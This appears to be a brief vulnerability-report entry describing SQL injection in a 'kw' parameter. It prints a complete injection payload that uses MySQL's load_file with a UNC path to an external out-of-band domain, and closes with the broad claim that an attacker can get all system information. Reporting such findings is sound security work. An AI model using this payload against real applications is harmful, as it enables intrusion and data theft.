## Description:
The `kw` parameter appears to be vulnerable to SQL injection attacks. The
payload '+(select load_file('\
3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.comrvo'))+' was submitted
in the kw parameter. This payload injects a SQL sub-query that calls
MySQL's load_file function with a UNC file path that references a URL on an
external domain. The application interacted with that domain, indicating
that the injected SQL query was executed. The attacker can get all
information from the system by using this vulnerability!
